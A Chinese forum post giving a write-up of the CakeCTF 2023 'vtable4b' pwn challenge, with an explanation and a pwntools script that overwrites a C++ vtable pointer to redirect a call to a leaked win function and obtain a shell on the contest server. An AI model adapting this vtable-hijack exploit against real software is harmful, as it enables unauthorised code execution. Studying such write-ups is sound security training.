首页
社区
课程
招聘
[分享]CakeCTF 2023 vtable4b
发表于: 2023-11-16 10:57 3716

[分享]CakeCTF 2023 vtable4b

2023-11-16 10:57
3716

由上图可以看到,dialogue()函数可以call地址(通过cowsy调用),而message()函数可以写入地址,并将它存入栈中。同时题目给了个getshell的地址,但这个地址每次打开程序都不一样。

这个vtable for Cowsay可以通过cowsay-->dialogue()来调用dialogue函数,那么可以想到思路:将message填充为getshell地址,然后填充垃圾数据覆盖到vtable for cowsay,将这块地址的内容覆盖为message函数地址。那么当我发送完payload后输入“1”执行Use cowsay调用dialogue函数,会使程序执行到message函数,进而call message函数使程序执行到getshell地址,最终拿到shell!

from pwn
import*p = remote('vtable4b.2023.cakectf.com','9000')
context(os="linux",arch="amd64",log_level='debug')
p.recvuntil(b'<win> = 0x')data = int(p.recv(12),16)#获取getshell地址(随机的,需要我们写脚本获取)
print("data ="+hex(data))p.recvuntil(b'>')
p.sendline(str(3))p.recvuntil(b'0x')
addr=int(p.recv(12),16)+0x10#获取message函数的地址,即0xea0 + 0x10 = 0xeb0
print("addr ="+hex(addr))
p.recvuntil(b'>')
p.sendline(str(2))
payload = p64(data)+b'A'*0x18 + p64(addr)#布置栈
p.sendline(payload)
p.interactive()

最后输入1调用Use cowsay,ls命令发现找不到flag,由于题目中提示flag在一个文件夹里,所以cd到上一级目录,找到flag


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 3535
活跃值: (31016)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2023-11-17 09:33
1
游客
登录 | 注册 方可回帖
返回
//